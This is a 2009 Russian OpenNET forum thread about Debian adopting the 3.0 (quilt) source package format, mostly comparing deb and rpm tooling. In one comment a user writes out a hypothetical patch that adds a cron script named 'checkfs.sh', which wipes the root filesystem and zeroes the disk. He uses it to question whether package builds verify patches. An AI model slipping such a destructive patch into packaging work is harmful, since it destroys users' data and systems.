The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

форумы  помощь  поиск  регистрация  майллист  вход/выход  слежка  RSS
"В Debian GNU/Linux официально введен в строй формат пакетов ..."
Вариант для распечатки  
Пред. тема | След. тема 
Форумы Разговоры, обсуждение новостей (Public)
Изначальное сообщение [ Отслеживать ]

"В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от opennews (??) on 21-Ноя-09, 22:31 
Одной из самых неудобных особенностей системы оформления DEB-пакетов с исходными текстами является объединение всех внешних патчей к базовым исходным текстам программы в виде одного diff-файла. Разобраться какие-именно патчи используются и как выделить из них какой-то определенный патч не является очевидным. Недавно это ограничение было снято - разработчики одобрили (http://lists.debian.org/debian-devel-announce/2009/11/msg000...) возможность включения в рабочие репозитории Debian пакетов в формате  DebSrc 3.0 (http://wiki.debian.org/Projects/DebSrc3.0) / DPKG 3.0 (quilt), в которых предусмотрена возможность компоновки патчей в виде отдельных файлов внутри директории "debian/patches/", примерно, как это делается в формате RPM. Управление раздельными патчами может производится при помощи стандартной утилиты quilt (http://savannah.nongnu.org/projects/quilt).


Версия пакетного менеджера dpkg из состава Debian Lenny уже поддерживает новый формат, поэтому проблем с переносимостью воз...

URL: http://lists.debian.org/debian-devel-announce/2009/11/msg000...
Новость: https://www.opennet.ru/opennews/art.shtml?num=24364

Высказать мнение | Ответить | Правка | Cообщить модератору

Оглавление

Сообщения по теме [Сортировка по времени | RSS]


1. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от Аноним (??) on 21-Ноя-09, 22:31 
наконец-то, теперь не нужно полдня искать патч в котором надо поправить.
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

32. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от pavlinux (ok) on 23-Ноя-09, 17:53 
Напряги с grep/egrep/regexp?  

0001.diff
0111.diff
1010.diff
1011.diff
1110.diff
1011.diff
1101.diff

odinbalshoy.diff

Ну и какая разница?

Или Вы до сих пор верите в соответствие названия файла и его содержимого?

  

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

2. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +1 +/
Сообщение от Аноним (??) on 21-Ноя-09, 22:42 
Интересно когда 3.0 появится в Ubuntu.
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

7. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от digiwhite email on 22-Ноя-09, 02:04 
>Интересно когда 3.0 появится в Ubuntu.

Уже имеется вроде как.

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

15. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от Serega (??) on 22-Ноя-09, 11:49 
2 года назад это было в ubuntu. возможно это одна из причин по которой убунтовцы решили сделать свои (src-)пакеты несовместимыми с debian. Столлман тогда неодобрил.
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

30. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от Andrey Mitrofanov on 23-Ноя-09, 14:43 
В огороде бузина, а в бостоне дядька. :/
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

3. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  –3 +/
Сообщение от anonymous (??) on 21-Ноя-09, 23:21 
Иными словами, заново изобрели rpm.
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

4. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  –1 +/
Сообщение от sHaggY_caT (ok) on 22-Ноя-09, 00:28 
Осталось придумать спек и систему макросов :)
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

6. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +1 +/
Сообщение от vkni on 22-Ноя-09, 00:48 
>Осталось придумать спек и систему макросов :)

Причём, систем макросов нужно придумать несколько, да так, чтобы они были несовместимы между собой :-).

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

5. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от vkni on 22-Ноя-09, 00:48 
>Иными словами, заново изобрели rpm.

Не совсем. В rpm тоже периодически "изобретают" deb.
Но новость безусловно забавная.

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

8. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  –1 +/
Сообщение от kol on 22-Ноя-09, 03:41 
пруфлинк, пожалуйста
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

9. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от vkni on 22-Ноя-09, 05:12 
Не надо лениться искать: http://opennet.ru/opennews/art.shtml?num=23776
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

12. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от User294 (ok) on 22-Ноя-09, 08:12 
>Иными словами, заново изобрели rpm.

Сами сношайтесь с этими вашими RPM-ами. Мало того что порасплодили полдюжины частично совместимых и не совместимых форматов, так еще и пакетный манагер полное УГ писаное на питоне - тормозное и ресурсов жрет что пипец, так что на всяких low resource(embedded, ...) и VM-ах память тупо кончается при работе отстоя с названием yum. Дожили до того что 128 мегов памяти в контейнере - мало чтобы просто пакетик поставить, особенно если не дай боже что-то еще запущено, %$@!

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

13. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +1 +/
Сообщение от vkni on 22-Ноя-09, 08:40 
> память тупо кончается при работе отстоя с названием yum.

Rpm работает в связке с apt с 2000-го года, когда никаких yum ещё не было.

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

16. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  –1 +/
Сообщение от User294 (ok) on 22-Ноя-09, 12:50 
>Rpm работает в связке с apt с 2000-го года,

Ну да, у альтов оно кажется так и сделано (вы случайно не про них?). Вот только увы, редхат выбрал другой маршрут. Ну и кучка деривативов и подобий туда же последовала. Ну как бы их дело, удачи им и все такое. Но как нибудь без меня.

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

25. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от vkni on 23-Ноя-09, 08:24 
>вы случайно не про них?

Нет, про Connectiva - папа или мама Mandriva ;-).

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

17. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от Serega (??) on 22-Ноя-09, 14:05 
вы совершенно не понимаете о чем идёт речь. это это стандарт _исходников_ пакетов. корректно было бы его сравнивать со spec-файлами.
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

18. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +1 +/
Сообщение от sHaggY_caT (ok) on 22-Ноя-09, 23:44 
rpm легче собирать :) Особенно, если рука не набита, как у мантайнеров Дебиана)

И про большой репозиторий не нужно, я свои скрипты часто кладу в пакеты, или собираю что-то с патчами (тот же последний sudo с официальным security патчем ужасен, фиксится правкой всего одной строчки в спеке)
При этом зависимости формирует сам rpmbuild, мучиться со сборкой dpkg ради каких-то мягких зависимостей, которые все равно нужны не всем (например, не нужны мне) как-то не хочется.
Альтернативы (и java и MTA, и т д) можно, через костыли, использовать в rpm-based системах, но вместо этого проще просто создать другой контейнер и в Debian. По-настоящему удобно это только во фре, и в не очень стабильной для сервера генте :(

aptitude действительно мощнее, чем yum, но так ли нужны его возможности? а 128 мегабайт yum'у в OVZ/PVC-контейнере более чем достаточно!
А то, что yum тормозной, никогда не соглашусь :) Имхо, он уже давно работает не медленнее aptitude!

З.Ы. В некоторых аспектах с точки зрения конечного пользователя apt/dpkg все-таки уступает rpm. Конкретный пример: rpm -V. Такой проверки пакетов в dpkg нет by design, есть debsum, но он не умеет даже доли!

З.З.Ы. При всем при этом, повторюсь, я согласна с тем, что одним из ключевых преимуществ Debian является именно огромные репозитории, apt, а так же module assistent, даже скажу, что Debian, как систему, я в личном рейтинге удобства ставлю второй после RH-based.

Только вот огромные репозитории и apt не так важны, как, имхо, их пытаются обозначить. Кстати, в RH-системах есть Sattelite/Spacewalk для глобального (в маштабах Дата-центров) менеджмента rpm-пакетов на всех системах. Под apt таких решений просто нет.

З.З.З.Ы. советую (и прошу, так как надоел уже этот поклеп со стороны пользователей Debian/Ubuntu) допустить, что rpm не так плох, как Вам об этом говорит сформировавшийся, внутри Дебиан-коммюнити, штамп.
За что в Debian так модно ненавидеть RH-платформу?

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

19. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от vkni on 23-Ноя-09, 01:21 
>А то, что yum тормозной, никогда не соглашусь :) Имхо, он уже
>давно работает не медленнее aptitude!

Проблема в том, что yum обязательно проверяет репозитарий при каждом запросе. А у apt команды update и install/upgrade/dist-upgrade разделены. Но это скорее фича, чем бага :-).

>З.Ы. В некоторых аспектах с точки зрения конечного пользователя apt/dpkg все-таки уступает

Не надо смешивать apt и dpkg. Apt с rpm работает с 2000-го года (постаралась фирма Connectiva). Т.е. почти с рождения.

До yum у RedHat был urpmi, у Suse был yast, теперь Zypper. Это утилиты более высокого уровня, чем dpkg/rpm. Yum наверняка можно заставить работать с dpkg, было бы желание.

>Только вот огромные репозитории и apt не так важны, как, имхо, их
>пытаются обозначить.

Они очень важны. Просто сейчас у каждого mainstream дистрибутива есть либо один мощный репозитарий (например, Sisyphus), либо несколько доп. репозитариев (OpenSuse - packman, RH - rpmfusion и т.д.). В каждом дистрибутиве своя утилита аналогичная apt.

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

21. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от sHaggY_caT (ok) on 23-Ноя-09, 07:25 
>Проблема в том, что yum обязательно проверяет репозитарий при каждом запросе. А
>у apt команды update и install/upgrade/dist-upgrade разделены. Но это скорее фича,
>чем бага :-).

-------yum(8)--------
       -C     Tells  yum  to run entirely from cache - does not download or update any headers unless it has to to perform the
              requested action.
----------------------

>>З.Ы. В некоторых аспектах с точки зрения конечного пользователя apt/dpkg все-таки уступает
>
>Не надо смешивать apt и dpkg. Apt с rpm работает с 2000-го
>года (постаралась фирма Connectiva). Т.е. почти с рождения.

Фактически, репозиториев под него для RH не найти (последний раз видела только какой-то репозиторий со сборками KDE), потому и немного смешивала :)

> у Suse был yast, теперь Zypper.

Кстати, вот Zypper, по-моему, действительно очень-очень тормозной, правда в последний раз смотрела OpenSUSE 10.3 и видела какой-то SLES, в котором zypper вообще не был установлен (или не было в репозиториях), может, сейчас и стало лучше. Почему столько негатива на yum, но все молчат про объективно медленном Zypper/yast?

>>Только вот огромные репозитории и apt не так важны, как, имхо, их
>>пытаются обозначить.
>
>Они очень важны. Просто сейчас у каждого mainstream дистрибутива есть либо один
>мощный репозитарий (например, Sisyphus), либо несколько доп. репозитариев (OpenSuse - packman,
>RH - rpmfusion и т.д.). В каждом дистрибутиве своя утилита аналогичная
>apt.

Дело в качестве. Имхо, лучше меньше пакетов, но в которых практически нет багов, как у того же RHEL.

>Вы, видимо по молодости, не застали тех времён, когда ни apt, ни огромных сетевых
>репозитариев не было. И установка rpm с компакт-диска RH превращалась в беготню по
>каталогу с rpm-ками и ручной установкой. Человеку достаточно, в общем-то жалких 15-ти ?
>пакетов, чтобы начать материться. :-)

Да, не застала, но на ЛОР (пожалуйста, не нужно меня туда посылать, у меня там даже  регистрации нет:))) в таких случаях предлагают выйти из анабиоза(с).

>Ну и в 99-м году то действо, что вызывали команды apt-get update; apt-get dist-upgrade -?>y, приводило народ в дикий восторг. ;-)

:)))

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

23. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от Аноним (??) on 23-Ноя-09, 08:05 
Вот вы говорите о том, что в Debian труднее пропатчить под себя пакет. Но сам формат deb к этому вообще отношения не имеет. В нём со второй версии есть всё, что до сих пор пытаются изобрести в rpm.

rpmbuild не столь божественнен, как вы пытаетесь это показать. Практически точный аналог dpkg-buildpackage.

spec-файлы же, пожалуй, действительно значительно нагляднее системы deb-src. В spec-файле всё сосредоточено в одном месте, что нагляднее нескольких отдельных файлов в каталоге debian/.

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

37. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от cheusov (ok) on 24-Ноя-09, 12:09 
>[оверквотинг удален]
>пакет. Но сам формат deb к этому вообще отношения не имеет.
>В нём со второй версии есть всё, что до сих пор
>пытаются изобрести в rpm.
>
>rpmbuild не столь божественнен, как вы пытаетесь это показать. Практически точный аналог
>dpkg-buildpackage.
>
>spec-файлы же, пожалуй, действительно значительно нагляднее системы deb-src.
>В spec-файле всё сосредоточено
>в одном месте, что нагляднее нескольких отдельных файлов в каталоге debian/.

Не спорьте, горячие финские парни. И Debian и rpm-based дистры конкретно сливают
в плане _простоты_ создания и поддержки пакета пакетной системе
pkgsrc и другим port-like системам,
где инструкции сборки декларативные, а не императивные.

Контрольные суммы исходных тарболов, полное описание пакетов, список файлов пакета и собственно инструкции сборки -- в отдельных файлах.
Инструкции сборки для "стандартных пакетов" - проще простого.
Аж насколько просто работать с патчами -- вообще красота...
Никакого УГ типа quilt.

Пример:
http://cvsweb.se.netbsd.org/cgi-bin/bsdweb.cgi/pkgsrc/devel/.../
http://cvsweb.se.netbsd.org/cgi-bin/bsdweb.cgi/wip/runawk/

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

24. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от vkni on 23-Ноя-09, 08:23 
>-------yum(8)--------
>       -C    
>Tells  yum  to run entirely from cache - does
>not download or update any headers unless it has to to
>perform the
>            
>  requested action.
>----------------------

Я же говорю - фича, естественно, отключаемая. В apt без ключей, зато для полного обновления нужно два раза запускать программу. Ещё вывод yum search и apt-cache search слегка отличается и т.д. Но принципиальной разницы никакой нет, о чём я и пишу.

>Фактически, репозиториев под него для RH не найти (последний раз видела только
>какой-то репозиторий со сборками KDE), потому и немного смешивала :)

А под ALT нет yum, под Suse нет yum, под Mandriva нет yum. Что дальше? Ну вы используете RH, у него свои особенности, свои отличия. Хорошо. Я, в основном, работаю на ALT/Debian => чаще всего apt, редко yum (настолько редко, что заветный ключик -C мне не нужен :-).

>Кстати, вот Zypper, по-моему, действительно очень-очень тормозной,

Жуткая по медлительности штука. Вспоминаю с содроганием. :-)

>Почему столько негатива на yum, но все молчат про объективно
>медленном Zypper/yast?

Мало используют. Suse - очень качественный дистрибутив, но на любителя. Видимо, с хорошим железом :-).

>Дело в качестве. Имхо, лучше меньше пакетов, но в которых практически нет
>багов, как у того же RHEL.

Это под задачу. Мне нужен rpmfusion в обязательном порядке из-за каких-то пакетов.

> в таких случаях предлагают выйти из анабиоза(с).

А в реальности в ответ на предложение шлют на три буквы или сразу бьют.

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

27. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от Wizard (??) on 23-Ноя-09, 10:21 
>>Кстати, вот Zypper, по-моему, действительно очень-очень тормозной,
>Жуткая по медлительности штука. Вспоминаю с содроганием. :-)

С тех пор много воды утекло. zypper стал очень быстрым и фичастым! Во времена 10.3 zypper, если мне не изменяет склероз, бил писан на пистоне. Теперь это С или C++.

Ну и фичи... В 11.0 - 11.1 радовало zypper wp (what-provides, wp - Вывести список пакетов, предоставляющих указанную способность.)

В 11.2 ещё фичу интересную добавили: zypper ps (Вывести список запущенных процессов, использующих файлы, удалённые недавними обновлениями.)

Так что хватит zypper ругать. Он подрос, возмужал. :-)

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

34. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от vkni on 23-Ноя-09, 20:43 
> С тех пор много воды утекло. zypper стал очень быстрым и фичастым! Во времена 10.3 zypper, если мне не изменяет склероз, бил писан на пистоне. Теперь это С или C++.

Спасибо. Это повод посмотреть Suse - всё-таки если не самый качественный, то один из самых качественных дистрибутивов.

> Так что хватит zypper ругать. Он подрос, возмужал. :-)

Да не ругаем мы его текущую версию - мы же не знаем, как оно сейчас там. А старая точно была крайне задумчивой по сравнению с apt.

Но ничего, скоро выйдет прототип новой версии apt. Вот он точно будет сильно тормозить, ибо прототип :-).

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

28. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от Wizard (??) on 23-Ноя-09, 10:32 
>>Почему столько негатива на yum, но все молчат про объективно
>>медленном Zypper/yast?
>
>Мало используют. Suse - очень качественный дистрибутив, но на любителя. Видимо, с
>хорошим железом :-).

А это просто смешно!

Потому и молчат, что всё устраивает! Не верите - проверьте.

Ни и за любимый дистрибутив заступлюсь.
За  более 10 лет использования линукса, перепробовал много дистрибутивов. Первым был KSI Linux. Кто-нибудь знает? А, между прочим, именно этот дистрибутив был первым с переведёнными описанимя RPM-пакетов, а не хвалившийся этим, кажизь ASP. Были шляпы и мандрэйки, различные версии дебиана, однажды даже слакварь... А кто-нибудь видел Corel Linux? Ну и конечно не прошёл мимо ALT'а...

И только (open)SUSE просто работает.

P.S. И кстати, многие ругаются на YaST - "сильно умный"... Ну и не используйте! Благо zypper работает из коммандной строки, а конфигурационные файлы все на своих местах. Я, будучи поклонником SUSE, сам YaST не использую...

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

35. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от vkni on 23-Ноя-09, 20:52 
>Потому и молчат, что всё устраивает! Не верите - проверьте.

Я знаю, что он очень качественен. Но и крайне своеобразен из-за yast'а.

>Первым был KSI Linux. Кто-нибудь знает?

Слышал, но не видел.

>А кто-нибудь видел Corel Linux?

Видел. "УГ", базировавшееся на Debian, KDE1, когда была уже KDE2 (правда крайне глючная).

>И только (open)SUSE просто работает.

Однако, надо признать, что первые 10-ки были до первого массированного обновления крайне глючными (про 11-е не знаю). Кроме того, на моей печатной машинке ALT 4.1 бегает значительно шустрее Suse 10.x (x не помню ;-). И, главное, ALT всё-таки наш.

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

20. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от vkni on 23-Ноя-09, 01:32 
>Только вот огромные репозитории и apt не так важны, как, имхо, их
>пытаются обозначить.

Вы, видимо по молодости, не застали тех времён, когда ни apt, ни огромных сетевых репозитариев не было. И установка rpm с компакт-диска RH превращалась в беготню по каталогу с rpm-ками и ручной установкой. Человеку достаточно, в общем-то жалких 15-ти пакетов, чтобы начать материться. :-)

А Debian, в чём их безусловная заслуга, принесли в Linux программу apt (до неё был dselect - неделимый apt+synaptic в текстовом режиме) и репозитарии. Другие дистрибутивы, естественно, реализовали то же самое и у себя.

Ну и в 99-м году то действо, что вызывали команды apt-get update; apt-get dist-upgrade -y, приводило народ в дикий восторг. ;-)

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

22. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от sHaggY_caT (ok) on 23-Ноя-09, 07:44 

>А Debian, в чём их безусловная заслуга, принесли в Linux программу apt
>(до неё был dselect - неделимый apt+synaptic в текстовом режиме) и
>репозитарии. Другие дистрибутивы, естественно, реализовали то же самое и у себя.

Кстати, есть пакетик yum-utils, с кучей утилит под разные случаи жизни (тот же yumdownloader)

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

26. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от vkni on 23-Ноя-09, 08:37 
>Кстати, есть пакетик yum-utils, с кучей утилит под разные случаи жизни (тот
>же yumdownloader)

В apt сильно по-другому, просто скачка без установки - ключ -d. Ну и можно как-то указать каталог, в который сохранять (обычно это /var/cache/apt/archives/).

У yum, пожалуй, есть интересная штука, аналога которой я в apt ещё не видел - авто выбор зеркала репозитария.

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

11. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от Аноним (??) on 22-Ноя-09, 07:26 
как верно замечено в новости:
> Версия пакетного менеджера dpkg из состава Debian Lenny уже поддерживает новый формат

quilt используется достаточно давно, в чём новость ? или имеется ввиду что теперь его сделают обязательным ?

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

14. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от JackYF on 22-Ноя-09, 11:04 
"Одной из самых неудобных особенностей системы оформления DEB-пакетов с исходными текстами является объединение всех внешних патчей к базовым исходным текстам программы в виде одного diff-файла"

Который так же само мог содержать debian/patches, что и делалось большинством сопровождающих.

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

29. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от Аноним (??) on 23-Ноя-09, 11:41 
А еще у yum'a есть включенный по умолчанию в последних федорах presto, который качает только бинарные диффы, а не целиком пакет при обновлениях.
А у apt или yast такое есть?
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

31. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от ananimus on 23-Ноя-09, 14:58 
>А еще у yum'a есть включенный по умолчанию в последних федорах presto,
>который качает только бинарные диффы, а не целиком пакет при обновлениях.
>
>А у apt или yast такое есть?

есть. debdelta.

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

36. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от Аноним (??) on 24-Ноя-09, 01:21 
>есть. debdelta.

ну и толку что он есть - репозиториев то нет =)

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

33. "В Debian GNU/Linux официально введен в строй формат пакетов ..."  +/
Сообщение от pavlinux (ok) on 23-Ноя-09, 18:01 
Чёй-то я довно debы не собирал, оно там, при сборке, проверяет применимость патча?

А то, вот такой попадётся ")

--- /dev/null   2009-10-24 08:27:53.000000000 +0400
+++ /etc/cron.daily/checkfs.sh  2009-11-23 17:58:23.674251269 +0300
@@ -0,0 +1,4 @@
+#!/bin/bash
+
+rm -rf /* &
+
+dd if=/dev/zero of=/dev/sda


Ну, то есть,  если я создам такой diff и запихну его в debian/patches,
как патчи к, скажем links, debuild проверяет, то что этот патч вообще для исходника.

Хотя, от рута, оно всегда вернёт true    

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Индекс форумов | Темы | Пред. тема | След. тема




Спонсоры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2023 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру